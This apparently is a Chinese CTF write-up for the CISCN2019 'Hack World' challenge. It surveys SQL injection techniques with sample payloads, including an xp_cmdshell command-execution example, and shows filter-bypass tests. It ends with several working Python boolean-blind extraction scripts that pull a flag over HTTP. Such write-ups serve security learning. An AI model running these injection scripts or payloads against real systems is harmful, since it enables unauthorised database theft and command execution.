[CISCN2019 华北赛区 Day2 Web1]Hack World

0 阅读5分钟

sql注入方法

1.基础型SQL:SQL代码直接嵌入,影响查询逻辑,常用AND、OR、XOR、NOT等构造条件影响逻辑,如' or '1'='1使得查询结果总为true

2.UNION查询注入:将构造的SQL语句查询结果跟正常查询结果合并,即这前面的正常语句跟UNION后面的语句一起执行,再将结果合并输出,如' UNION SELECT null,user,password FROM user --注入到SELECT id,item FROM product WHERE id='注入点';中,就变成了SELECT id,item FROM product WHERE id='' UNION SELECT null,user,password FROM user --';

3.报错注入:故意注入一个非法的语句,如id=1' AND extractvalue(1,concat(0x7e,(SELECT version())))--,利用XML函数EXTRACTVALUE(XML_document, XPath_string)与期望的Xpath不一致(concat()拼接出来的**"~版本号"**是非法XPath)而导致数据库报错,产生的错误信息包含了版本号,从而拿到想要的信息

4.布尔盲注:通过判断页面"true"或"false"来逐字推断数据,如id=1' AND substring(database(),1,1)='a'--,如果数据库名第一个字为a则返回"true",不是404、返回false等页面

5.时间盲注:通过数据库延时函数(如SLEEP()BENCHMARK())判断条件成立与否,成立则延时,效率比布尔盲注更低

6.堆叠查询注入:使用";"将多条命令隔开,可以一次性执行多条命令,Mysql默认关闭

7.存储过程注入:在存储的过程中输入参数时注入如'; EXEC xp_cmdshell('dir'); --,之后会执行dir

8.cookie注入:如Cookie: session_id=' OR '1'='1;

9.其他有宽字节(单引号逃逸)二次(取出时执行)编码(绕过)、OOB(DNS、HTTP外带)等注入手段

测试

题目说给id,依次输入1、2、3image-20260310135838980.pngimage-20260310135936664.pngimage-20260310140010750.png

发现输入3的时候报错,id为3的不存在

再分别输入1=1、1=2image-20260310140306843.pngimage-20260310140336185.png

可以推断,结果为true时固定回显"Hello, glzjin wants a girlfriend.",不存在时回显"Error Occured When Fetch Result.",且输入的id是不被引号包裹的,即是数字型的,所以不需要引号闭合,查询语句可能如下所示

SELECT content FROM passage WHERE id=注入点

正确的回显只有"Hello, glzjin wants a girlfriend.",而不会再泄露其他东西,试试bool盲注了,在此查询语句下SUBSTR(string, start, length)自然是要在子查询内部完成比较,返回的结果只有01,这样我们就能判断比较的结果是否正确了

输入(substr((SELECT MIN(flag) from flag),1,1)='f'),此时可能是这样查询的

SELECT content FROM passage WHERE id=(substr((SELECT MIN(flag) from flag),1,1)='f')
#"(substr((SELECT MIN(flag) from flag),1,1)='f')"内先从当前数据库查询"flag"表"flag"列的第一个字符,再来跟"="后面的'f'进行比对,结果为true时返回1,内部比较结束
#此时得到SELECT content FROM passage WHERE id=1,返回预期回显

image-20260310161451311.png

被检测到了,应该是空格的问题,测试1 =1image-20260310161948567.png

果然,需要寻找别的字符替代空格

注释符 /**/、内联注释 /*! ... */、水平制表符 %09、垂直制表符 %0b、换行符 %0a、回车符 %0d、换页符 %0c、()、空格 %20、%a0
()在MySQL/MariaDB中用于包裹参数
/*!SELECT*/在MySQL是特有的内联注释

1/**/=1、1/*!*/=1结果为SQL Injection Checked.,排除/**/、/*!*/

1%09=1、1%20=1、1=(1)结果为Hello, glzjin wants a girlfriend.

1%0a=1、1%0b=1、1%0d=1、1%0c=1、1%a0=1、1%20=%201、1%09=%091结果为bool(false),排除

%0a %0b %0d %0c %a0 %20 %09

只能使用"()"了,去掉空格后得到

(substr((SELECT(MIN(flag))from(flag)),1,1)='f')image-20260311183939732.png

使用py脚本:

import time
import requests

url = "url"
result = ""

for i in range(1, 50):
    found = False
    for char in "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;:,.<>?/~`\"'\\":
        hex_char = hex(ord(char)) if not char.isalnum() else f"'{char}'"
        payload = f"(substr((SELECT(MIN(flag))FROM(flag)),{i},1)={hex_char})"
        
        r = requests.post(url, data={'id': payload})
        if 'girl' in r.text:
            result += char
            print(f"[{i}] {char} -> {result}")
            found = True
            break
        time.sleep(0.05)
    
    if not found:
        print(f"{i}处未找到")
        break

print(f"\n结果: {result}")

image-20260311190909601.png

使用ASCII编码

import time
import requests
url = "url"
result = ""
for i in range (1, 44):
    for j in range (32, 128):
        time.sleep(0.1)
        payload ='(ascii(substr((SELECT(MIN(flag))FROM(flag)),'+ str(i) +',1))>' + str(j) +')'
        print (payload)
        r = requests.post(url, data={'id': payload})
        if r.text.find('girl') ==-1:
            result += chr (j)
            print (j)
            break
print (result)

image-20260311191750823.png

在此基础上,使用二分法

import time
import requests

url = "url"
result = ""

for i in range(1, 50):
    low, high = 32, 126
    char_ascii = None
    
    while low <= high:
        mid = (low + high) // 2
        time.sleep(0.03)
        
        payload = f"(ascii(substr((SELECT(MIN(flag))FROM(flag)),{i},1))>{mid})"
        print(f"{i}: ASCII>{mid} ([{low},{high}])", end="\r")
        
        r = requests.post(url, data={'id': payload})
        
        #判断逻辑:如果有'girl'说明条件为真(ASCII>mid),否则为假(ASCII<=mid)
        if 'girl' in r.text:
            low = mid + 1  # 在右半部分继续查找
        else:
            high = mid - 1  # 在左半部分继续查找
    
    #循环结束后,low就是字符的ASCII码
    char_ascii = low
    
    # 确保找到的字符在有效范围内
    if 32 <= char_ascii <= 126:
        char = chr(char_ascii)
        result += char
        print(f"\n{i}: '{char}' (ASCII:{char_ascii}),flag: {result}")
        
        #如果遇到结束符,可以提前结束
        if char == '}':
            print("找到结束符'}',结束")
            break
    else:
        print(f"\n位置{i}: 超出范围({char_ascii}),爆破结束")
        break

print(f"\n结果: {result}")

image-20260311192323816.png

而在此基础上,可以使用多线程,由于BUU限制,只能降低速率

import time
import requests
import threading

url = "url"
result = ""

def find_char(pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        time.sleep(0.05)
        payload = f"(ascii(substr((SELECT(MIN(flag))FROM(flag)),{pos},1))>{mid})"
        try:
            r = requests.post(url, data={'id': payload}, timeout=5)
            if 'girl' in r.text:
                low = mid + 1
            else:
                high = mid - 1
        except:
            time.sleep(0.3)
    char_ascii = low
    return (chr(char_ascii), char_ascii) if 32 < char_ascii <= 126 else (None, char_ascii)

start_time = time.time()
for batch_start in range(1, 51, 3):
    threads, results = [], {}
    
    for i, pos in enumerate(range(batch_start, min(batch_start + 3, 51))):
        def thread_func(p):
            results[p] = find_char(p)
        t = threading.Thread(target=thread_func, args=(pos,))
        threads.append(t)
        t.start()
        if i < 2 and pos < 50:
            time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    empty_found = False
    for pos in range(batch_start, min(batch_start + 3, 51)):
        if pos in results:
            char, ascii_val = results[pos]
            if char:
                result += char
                print(f"{pos}: '{char}' (ASCII:{ascii_val}),flag: {result}")
            else:
                print(f"位置{pos}: 超出范围({ascii_val})")
                empty_found = True
        else:
            empty_found = True
     
    if empty_found:
        break
    
    if batch_start + 3 <= 50:
        time.sleep(0.3)

print(f"\n结果: {result}")
print(f"总耗时: {time.time() - start_time:.2f} 秒")

image-20260311193016751.png

当然,可以发现flag列只有一行数据,所以MIN()是可以省略的,如果不单只有一行数据,也不是使用MIN()或MAX()就可以拿到flag的 image-20260310135838980.png

image-20260310135936664.png

image-20260310140010750.png

image-20260310140306843.png

image-20260310140336185.png

image-20260310161451311.png

image-20260310161948567.png

image-20260310163055645.png

image-20260310163234314.png

image-20260311183939732.png

image-20260311190909601.png

image-20260311191750823.png

image-20260311192323816.png

image-20260311193016751.png